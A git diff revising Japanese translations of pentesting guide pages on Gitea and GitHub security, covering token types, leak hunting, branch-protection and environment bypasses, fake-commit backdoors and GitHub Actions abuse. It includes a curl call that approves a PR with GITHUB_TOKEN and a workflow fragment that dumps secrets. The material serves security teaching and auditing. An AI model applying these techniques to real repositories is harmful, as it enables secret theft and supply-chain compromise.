チームのメンバーがアクセスできる**組織のリポジトリ**が指定されます:特定のリポジトリ(チームが追加されたリポジトリ)またはすべて。 +- **メンバーが新しいリポジトリを作成できるかどうか**も指定されます(作成者はそのリポジトリに管理者アクセスを得ます)。 - リポジトリの**メンバーが持つ**権限: - **管理者**アクセス - **特定の**アクセス: ![](<../../images/image (118).png>) -### Teams & Users +### チームとユーザー -リポジトリ内で、**org admin**と**リポジトリ管理者**(組織によって許可されている場合)は、コラボレーター(他のユーザー)やチームに与えられた役割を**管理**できます。可能な**役割**は**3**つです: +リポジトリ内で、**org admin**と**リポジトリ管理者**(組織によって許可されている場合)は、コラボレーター(他のユーザー)やチームに与えられた**役割を管理**できます。可能な**役割**は**3**つです: - 管理者 - 書き込み - 読み取り -## Gitea Authentication +## Gitea認証 -### Web Access +### ウェブアクセス **ユーザー名 + パスワード**を使用し、可能であれば(推奨)2FAを使用します。 -### **SSH Keys** +### **SSHキー** -アカウントを1つまたは複数の公開鍵で構成でき、関連する**秘密鍵があなたの代わりにアクションを実行できるようにします。** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +関連する**秘密鍵があなたの代わりにアクションを実行できるように**、1つまたは複数の公開鍵でアカウントを構成できます。[http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **GPGキー** -これらの鍵でユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 +これらのキーを使用してユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 -### **Personal Access Tokens** +### **個人アクセストークン** -アプリケーションにあなたのアカウントへの**アクセスを与えるための個人アクセストークンを生成できます**。個人アクセストークンはあなたのアカウントに対する完全なアクセスを提供します:[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +アプリケーションにあなたのアカウントへのアクセスを**与えるために個人アクセストークンを生成できます**。個人アクセストークンはあなたのアカウントに対する完全なアクセスを提供します:[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Oauthアプリケーション 個人アクセストークンと同様に、**Oauthアプリケーション**はあなたのアカウントとあなたのアカウントがアクセスできる場所に対して**完全なアクセス**を持ちます。なぜなら、[docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)に示されているように、スコープはまだサポートされていないからです: ![](<../../images/image (194).png>) -### Deploy keys +### デプロイキー デプロイキーはリポジトリに対して読み取り専用または書き込みアクセスを持つことができるため、特定のリポジトリを侵害するのに興味深いかもしれません。 -## Branch Protections +## ブランチ保護 -ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**いくつかの保護方法を設けて、特定のブランチにコードを書くことができるようにすること**です。 +ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**いくつかの保護方法を設けて、特定のブランチ内にコードを書くことができるようにすること**です。 **リポジトリのブランチ保護**は、_https://localhost:3000/\/\/settings/branches_で見つけることができます。 > [!NOTE] > 組織レベルでブランチ保護を設定することは**できません**。したがって、すべての保護は各リポジトリで宣言する必要があります。 -ブランチに適用できるさまざまな保護(マスターに適用する場合など): +ブランチに適用できるさまざまな保護があります(例えば、masterに): - **プッシュを無効にする**:誰もこのブランチにプッシュできません - **プッシュを有効にする**:アクセス権のある誰でもプッシュできますが、強制プッシュはできません。 -- **ホワイトリスト制限プッシュを有効にする**:選択されたユーザー/チームのみがこのブランチにプッシュできます(ただし、強制プッシュはできません) +- **ホワイトリスト制限プッシュを有効にする**:選択されたユーザー/チームのみがこのブランチにプッシュできます(ただし、強制プッシュはできません)。 - **マージホワイトリストを有効にする**:ホワイトリストに登録されたユーザー/チームのみがPRをマージできます。 - **ステータスチェックを有効にする**:マージする前にステータスチェックが通過することを要求します。 - **承認を要求する**:PRをマージする前に必要な承認の数を示します。 @@ -98,6 +98,6 @@ - **保護された/保護されていないファイルパターン**:変更から保護/保護解除するファイルのパターンを示します。 > [!NOTE] -> ご覧のとおり、ユーザーの資格情報を取得できた場合でも、**リポジトリが保護されているため、マスターにコードをプッシュすることを避けることができます**。たとえば、CI/CDパイプラインを侵害するために。 +> ご覧のとおり、ユーザーの資格情報を取得できたとしても、**リポジトリが保護されているため、例えばmasterにコードをプッシュすることができない場合があります**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index a7a3d96a1..7bcc24dfa 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## What is Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 高いレベルで、**GitHubは開発者がコードを保存・管理し、コードの変更を追跡・制御するのを助けるウェブサイトおよびクラウドベースのサービスです**。 +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 高いレベルで言うと、**GitHubは開発者がコードを保存・管理し、コードの変更を追跡・制御するのを助けるウェブサイトおよびクラウドベースのサービスです**。 ### Basic Information @@ -16,17 +16,17 @@ basic-github-information.md Githubリポジトリは、公開、非公開、内部として設定できます。 -- **非公開**は、**組織**の人々だけがアクセスできることを意味します。 -- **内部**は、**エンタープライズ**の人々(エンタープライズは複数の組織を持つことがあります)だけがアクセスできることを意味します。 +- **非公開**は、**組織**の人だけがアクセスできることを意味します。 +- **内部**は、**エンタープライズ**の人(エンタープライズには複数の組織がある場合があります)だけがアクセスできることを意味します。 - **公開**は、**全インターネット**がアクセスできることを意味します。 -**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、機密情報を見つけたり、**各リポジトリでの機密情報の漏洩**を検索できます。 +**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、各リポジトリで**機密情報や機密情報の漏洩**を検索できます。 ### Github Dorks -Githubは、**ユーザー、リポジトリ、または組織をスコープとして指定して何かを検索することを許可します**。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索できます**。 +Githubは、**ユーザー、リポジトリ、または組織を指定して何かを検索する**ことを許可します。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索**できます。 -ツール(各ツールにはそのdorkのリストが含まれています): +ツール(各ツールにはそのdorkのリストがあります): - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) @@ -36,7 +36,7 @@ Githubは、**ユーザー、リポジトリ、または組織をスコープと github dorksは、githubの検索オプションを使用して漏洩を検索するためにも使用されることに注意してください。このセクションは、**各リポジトリをダウンロードし、その中で機密情報を検索する**ツールに専念しています(特定のコミットの深さをチェックすることも含まれます)。 -ツール(各ツールにはその正規表現のリストが含まれています): +ツール(各ツールにはその正規表現のリストがあります): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,7 +47,7 @@ github dorksは、githubの検索オプションを使用して漏洩を検索 - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> リポジトリで漏洩を探すときに`git log -p`のようなコマンドを実行する際、**秘密を含む他のコミットがある他のブランチ**が存在する可能性があることを忘れないでください! +> リポジトリで漏洩を探し、`git log -p`のようなコマンドを実行する際には、**他のコミットを含む他のブランチ**が存在する可能性があることを忘れないでください! ### External Forks @@ -55,7 +55,7 @@ github dorksは、githubの検索オプションを使用して漏洩を検索 ### Github Leaks in deleted/internal forks -削除されたり内部のものであっても、githubリポジトリのフォークから機密データを取得することが可能な場合があります。ここで確認してください: +削除されたリポジトリや内部リポジトリから機密データを取得することが可能な場合があります。ここで確認してください: {{#ref}} accessible-deleted-data-in-github.md @@ -65,35 +65,35 @@ accessible-deleted-data-in-github.md ### Member Privileges -組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ`https://github.com/organizations//settings/member_privileges`または[**Organizations API**](https://docs.github.com/en/rest/orgs/orgs)から制御できます。 +組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ `https://github.com/organizations//settings/member_privileges` または [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) から制御できます。 - **基本的な権限**: メンバーは、組織のリポジトリに対してNone/Read/write/Adminの権限を持ちます。推奨は**None**または**Read**です。 - **リポジトリのフォーク**: 必要でない場合、メンバーが組織のリポジトリをフォークすることを**許可しない方が良い**です。 - **ページの作成**: 必要でない場合、メンバーが組織のリポジトリからページを公開することを**許可しない方が良い**です。必要な場合は、公開または非公開のページを作成することを許可できます。 - **統合アクセス要求**: これを有効にすると、外部のコラボレーターがこの組織とそのリソースにアクセスするためのGitHubまたはOAuthアプリへのアクセスを要求できるようになります。通常は必要ですが、必要でない場合は無効にする方が良いです。 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ -- **リポジトリの可視性の変更**: 有効にすると、**リポジトリ**に対して**管理者**権限を持つ**メンバー**が**可視性を変更できる**ようになります。無効にすると、組織のオーナーのみがリポジトリの可視性を変更できます。人々に**公開**にすることを望まない場合は、これを**無効**にしてください。 +- **リポジトリの可視性変更**: 有効にすると、**リポジトリ**の**管理者**権限を持つ**メンバー**が**可視性を変更**できるようになります。無効にすると、組織の所有者のみがリポジトリの可視性を変更できます。人々に**公開**にすることを望まない場合は、これを**無効**にしてください。 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ -- **リポジトリの削除と転送**: 有効にすると、リポジトリに対して**管理者**権限を持つメンバーが**公開および非公開のリポジトリを削除**または**転送**できるようになります。 +- **リポジトリの削除と移行**: 有効にすると、リポジトリの**管理者**権限を持つメンバーが公開および非公開の**リポジトリを削除**または**移行**できるようになります。 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ -- **メンバーがチームを作成することを許可**: 有効にすると、組織の**メンバー**は新しい**チームを作成**できるようになります。無効にすると、組織のオーナーのみが新しいチームを作成できます。これを無効にしておく方が良いです。 +- **メンバーがチームを作成することを許可**: 有効にすると、組織の**メンバー**は新しい**チームを作成**できるようになります。無効にすると、組織の所有者のみが新しいチームを作成できます。これを無効にしておく方が良いです。 - _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ - **このページで他の設定も可能ですが、前述のものが最もセキュリティに関連しています。** ### Actions Settings -アクションに関するいくつかのセキュリティ関連の設定は、ページ`https://github.com/organizations//settings/actions`から設定できます。 +いくつかのセキュリティ関連の設定は、ページ `https://github.com/organizations//settings/actions` から構成できます。 > [!NOTE] > これらの設定は、各リポジトリでも独立して設定できることに注意してください。 -- **Githubアクションポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるべきかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションが実行されることを許可しない方が良いです。 +- **Github actionsポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるべきかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションを実行することを許可しない方が良いです。 - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **外部コラボレーターからのフォークプルリクエストワークフロー**: すべての外部コラボレーターに対して**承認を要求する**ことを推奨します。 - _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_ -- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーにソースリポジトリの読み取り権限を持つトークンを使用する能力が与えられるためです。 +- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーに、ソースリポジトリに対する読み取り権限を持つトークンを使用する能力が与えられるためです。 - _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_ -- **ワークフローの権限**: **リポジトリの読み取り権限のみを付与する**ことを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みおよびプルリクエストの作成/承認権限を与えることは推奨されません。 +- **ワークフローの権限**: **リポジトリの読み取り権限のみを付与する**ことを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みやプルリクエストの作成/承認権限を与えることは推奨されません。 - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrations @@ -109,92 +109,92 @@ _この情報にアクセスするためのAPIエンドポイントを知って ### With User Credentials -もし何らかの方法で組織内のユーザーの資格情報を持っている場合、**ログインして**どの**エンタープライズおよび組織の役割を持っているか**を確認できます。生のメンバーであれば、**生のメンバーが持つ権限**、どの**グループ**に属しているか、どの**リポジトリに対してどの権限を持っているか**、および**リポジトリがどのように保護されているか**を確認できます。 +もし何らかの方法で組織内のユーザーの資格情報を持っている場合、**ただログイン**して、どの**エンタープライズおよび組織の役割を持っているか**を確認できます。生のメンバーであれば、**生のメンバーが持つ権限**、どの**グループ**に属しているか、どの**リポジトリに対してどの権限を持っているか**、および**リポジトリがどのように保護されているか**を確認できます。 **2FAが使用されている可能性がある**ことに注意してください。したがって、そのチェックを**通過できる**場合にのみ、この情報にアクセスできます。 > [!NOTE] -> `user_session`クッキーを**盗むことに成功した場合**(現在SameSite: Laxで設定されています)、資格情報や2FAを必要とせずに**ユーザーを完全に偽装**できます。 +> `user_session`クッキーを**盗むことに成功した場合**(現在SameSite: Laxで設定されています)、資格情報や2FAなしで**ユーザーを完全に偽装**できます。 -役立つ場合に備えて、[**ブランチ保護のバイパス**](./#branch-protection-bypass)に関するセクションを確認してください。 +役立つ場合に備えて、以下のセクションで[**ブランチ保護のバイパス**](./#branch-protection-bypass)について確認してください。 ### With User SSH Key -Githubは、**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます(2FAは適用されません)。 +Githubは、**ユーザー**が**SSHキー**を設定し、コードをデプロイするための**認証方法**として使用できるようにしています(2FAは適用されません)。 -このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、github APIにアクセスして環境を列挙するために使用することはできません。ただし、アクセスできるリポジトリやユーザーに関する情報を取得するために、**ローカル設定を列挙する**ことができます。 +このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、github APIにアクセスして環境を列挙するために使用することはできません。ただし、**ローカル設定を列挙して**、アクセスできるリポジトリやユーザーに関する情報を取得できます。 ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -ユーザーが自分のGitHubユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された **公開鍵** にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 +ユーザーが自分のGitHubユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 -**SSH鍵** はリポジトリに **デプロイ鍵** としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する** ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル **`~/.ssh/config`** が関連する鍵に関する情報を提供します。 +**SSH鍵**はリポジトリに**デプロイ鍵**としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動**できるようになります。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が関連する鍵に関する情報を提供します。 #### GPG鍵 -[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 +[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 -現在のユーザーが鍵を持っているかどうかをローカルで確認してください: +現在のユーザーが任意の鍵を持っているかどうかをローカルで確認してください: ```shell gpg --list-secret-keys --keyid-format=long ``` -### ユーザートークンを使用して +### With User Token -[**ユーザートークンについての基本情報を確認する**](basic-github-information.md#personal-access-tokens)の紹介。 +[**ユーザートークンの基本情報については、こちらを確認してください**](basic-github-information.md#personal-access-tokens)の紹介。 -ユーザートークンは、HTTPS経由のGitの**パスワードの代わり**に使用できるか、[**基本認証を介してAPIに認証するために使用できます**](https://docs.github.com/v3/auth/#basic-authentication)。付与された権限に応じて、さまざまなアクションを実行できる場合があります。 +ユーザートークンは、HTTPS経由のGitの**パスワードの代わりに使用**できるか、または[**基本認証を介してAPIに認証するために使用**](https://docs.github.com/v3/auth/#basic-authentication)できます。付与された権限に応じて、さまざまなアクションを実行できる場合があります。 ユーザートークンは次のようになります: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -### Oauthアプリケーションを使用して +### With Oauth Application -[**Github Oauthアプリケーションについての基本情報を確認する**](basic-github-information.md#oauth-applications)の紹介。 +[**Github Oauthアプリケーションの基本情報については、こちらを確認してください**](basic-github-information.md#oauth-applications)の紹介。 -攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。 +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データやアクションにアクセスすることがあります。 -これらは、Oauthアプリケーションが要求できる[スコープ](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)です。受け入れる前に、要求されたスコープを常に確認する必要があります。 +これらは、[Oauthアプリケーションが要求できるスコープ](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)です。常に要求されたスコープを確認してから受け入れるべきです。 さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。 -### Githubアプリケーションを使用して +### With Github Application -[**Githubアプリケーションについての基本情報を確認する**](basic-github-information.md#github-applications)の紹介。 +[**Githubアプリケーションの基本情報については、こちらを確認してください**](basic-github-information.md#github-applications)の紹介。 -攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。 +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データやアクションにアクセスすることがあります。 さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。 -## Github Actionの妥協と悪用 +## Compromise & Abuse Github Action -Github Actionを妥協し悪用するためのいくつかの技術があります。ここで確認してください: +Github Actionを妨害し悪用するためのいくつかの技術があります。ここで確認してください: {{#ref}} abusing-github-actions/ {{#endref}} -## ブランチ保護のバイパス +## Branch Protection Bypass -- **承認の数を要求する**: 複数のアカウントを妥協した場合、他のアカウントからPRを受け入れることができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認**し、この方法で1つの承認を得ることができるかもしれません。 -- _この点とCode Owners制限についての注意: 通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを受け入れることができます。_ -- **新しいコミットがプッシュされたときに承認を取り消す**: これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから、悪意のあるコードを追加して保護されたブランチにマージすることができます。 -- **Code Ownersからのレビューを要求する**: これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、あなた自身で承認することができます**。 -- **CODEOWNERファイルが誤って設定されている場合**、Githubは文句を言いませんが、それを使用しません。したがって、誤って設定されている場合は、**Code Ownersの保護が適用されません。** +- **承認の数を要求**: 複数のアカウントを妨害した場合、他のアカウントから自分のPRを承認することができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認**し、この方法で1つの承認を得ることができるかもしれません。 +- _この点とCode Owners制限についての注意: 通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを承認できます。_ +- **新しいコミットがプッシュされたときに承認を取り消す**: これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから、悪意のあるコードを追加して保護されたブランチにマージできます。 +- **Code Ownersからのレビューを要求**: これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、その後自分で承認する**ことができます。 +- **CODEOWNERファイルが誤設定されている場合**: Githubは文句を言いませんが、それを使用しません。したがって、誤設定されている場合は、**Code Ownersの保護が適用されません。** - **指定されたアクターがプルリクエストの要件をバイパスできるようにする**: あなたがこれらのアクターの1人であれば、プルリクエストの保護をバイパスできます。 - **管理者を含める**: これが設定されていない場合、リポジトリの管理者であれば、このブランチの保護をバイパスできます。 -- **PRハイジャック**: 他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認し、すべてをマージすることができるかもしれません。** -- **ブランチ保護の削除**: あなたが**リポジトリの管理者であれば、保護を無効にし、PRをマージして、再度保護を設定できます。** +- **PRハイジャック**: 他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認してすべてをマージ**できるかもしれません。 +- **ブランチ保護の削除**: あなたが**リポジトリの管理者であれば、保護を無効にし、PRをマージして保護を再設定**できます。 - **プッシュ保護のバイパス**: リポジトリが**特定のユーザーのみ**がブランチにプッシュ(コードをマージ)できるようにしている場合(ブランチ保護がすべてのブランチを保護している可能性がありますが、ワイルドカード`*`を指定しています)。 -- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成することができます。**ブランチ保護はブランチが作成されるまで保護しないため**、この最初のコードプッシュは**Github Actionを実行します**。 +- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成できます。**ブランチ保護はブランチが作成されるまで保護しないため**、この最初のコードプッシュは**Github Actionを実行します**。 -## 環境保護のバイパス +## Bypass Environments Protections -[**Github環境についての基本情報を確認する**](basic-github-information.md#git-environments)の紹介。 +[**Github環境の基本情報については、こちらを確認してください**](basic-github-information.md#git-environments)。 -環境が**すべてのブランチからアクセス可能な場合**、それは**保護されていない**ため、環境内の秘密に簡単にアクセスできます。**すべてのブランチが保護されている**リポジトリ(名前を指定するか、`*`を使用することによって)を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することで秘密を**抽出**できます(または1つを修正することができます)。 +環境に**すべてのブランチからアクセスできる場合**、それは**保護されていない**ため、環境内のシークレットに簡単にアクセスできます。**すべてのブランチが保護されている**リポジトリ(名前を指定するか、`*`を使用することによって)を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することでシークレットを**抽出**できます(または1つを変更することができます)。 -すべてのブランチが**保護されている**(ワイルドカード`*`を介して)場合、**誰がブランチにコードをプッシュできるかが指定されており**、**あなたのユーザーは許可されていない**というエッジケースがあることに注意してください。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。 +すべてのブランチが保護されている(ワイルドカード`*`を介して)場合、**誰がブランチにコードをプッシュできるかが指定されている**エッジケースがあることに注意してください(これはブランチ保護で指定できます)し、**あなたのユーザーは許可されていません**。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。 ```yaml push: # Run it when a push is made to a branch branches: @@ -207,18 +207,18 @@ branches: - **ユーザートークン**を生成 - **シークレット**から**githubトークン**を盗む - ワークフローの**結果**と**ブランチ**の**削除** -- **組織全体に対してより多くの権限を付与** +- **全ての組織に対してより多くの権限を付与** - 情報を外部に流出させるための**ウェブフック**を作成 - **外部コラボレーター**を招待 -- **SIEM**によって使用される**ウェブフック**を**削除** +- **SIEM**で使用されている**ウェブフック**を**削除** - **バックドア**を持つ**Github Action**を作成/変更 - **シークレット**値の変更を通じて**コマンドインジェクション**に脆弱な**Github Action**を見つける -### 偽のコミット - リポジトリのコミットを通じたバックドア +### 偽のコミット - リポジトリコミットを介したバックドア -Githubでは、**フォークからリポジトリにPRを作成**することが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードのための**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができる**かもしれません。 +Githubでは、**フォークからリポジトリにPRを作成**することが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードの**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができます**。 -[**これのように**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +[**これ**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e)のように: ```yaml name: example on: [push] diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index bb4e5e511..926ea0e49 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,4 +1,4 @@ -# Abusing Github Actions +# Github Actionsの悪用 {{#include ../../../banners/hacktricks-training.md}} @@ -8,9 +8,9 @@ - 攻撃者がGithub Actionにアクセスできた場合の**影響の概要** - **アクションにアクセスするための異なる方法**: -- アクションを作成するための**権限** -- **プルリクエスト**関連のトリガーを悪用する -- **他の外部アクセス**技術を悪用する +- アクションを作成するための**権限**を持つこと +- **プルリクエスト**関連のトリガーを悪用すること +- **他の外部アクセス**技術を悪用すること - すでに侵害されたリポジトリからの**ピボット** - 最後に、内部からアクションを悪用するための**ポストエクスプロイト技術**に関するセクション(前述の影響を引き起こす) @@ -18,13 +18,13 @@ [**Github Actionsの基本情報を確認する**](../basic-github-information.md#github-actions)についての紹介。 -**リポジトリ内でGitHub Actionsで任意のコードを実行できる**場合、次のことができるかもしれません: +**リポジトリ内でGitHub Actionsに任意のコードを実行できる**場合、次のことができるかもしれません: -- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスする。 -- **デプロイメント**や他の**アーティファクトを侵害する**。 -- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にする。 -- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットする。 -- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書きする**。 +- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスすることができます。 +- **デプロイメント**や他の**アーティファクトを侵害**することができます。 +- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にすることができます。 +- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットすることができます。 +- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書き**することができます。 ## GITHUB_TOKEN @@ -32,7 +32,7 @@
-このトークンは**Githubアプリケーションが使用するものと同じ**で、同じエンドポイントにアクセスできます:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +このトークンは**Githubアプリケーションが使用するものと同じ**であり、同じエンドポイントにアクセスできます:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] > Githubは、リポジトリが`GITHUB_TOKEN`を使用して他の内部リポジトリにアクセスできるようにする[**フロー**](https://github.com/github/roadmap/issues/74)をリリースするべきです。 @@ -67,7 +67,7 @@ https://api.github.com/repos///pulls//reviews \ -d '{"event":"APPROVE"}' ``` {{#endtab }} -{{#tab name="PRを作成" }} +{{#tab name="PRを作成する" }} ```bash # Create a PR curl -X POST \ @@ -81,11 +81,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> 注意してください。いくつかの場面で、**Github Actionsのenvsやsecretsの中にgithubユーザートークンを見つけることができる**でしょう。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。 +> 注意してください。いくつかの場面で、**Github Actionsのenvやシークレットの中にgithubユーザートークンを見つけることができるでしょう**。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
-Github Action出力のシークレットのリスト +Github Actionの出力にシークレットをリストする ```yaml name: list_env on: @@ -134,24 +134,24 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-他のユーザーのリポジトリでGithubトークンに与えられた権限を**アクションのログを確認することで**チェックすることが可能です: +他のユーザーのリポジトリに与えられたGithubトークンの権限を**ログを確認することで**チェックすることが可能です:
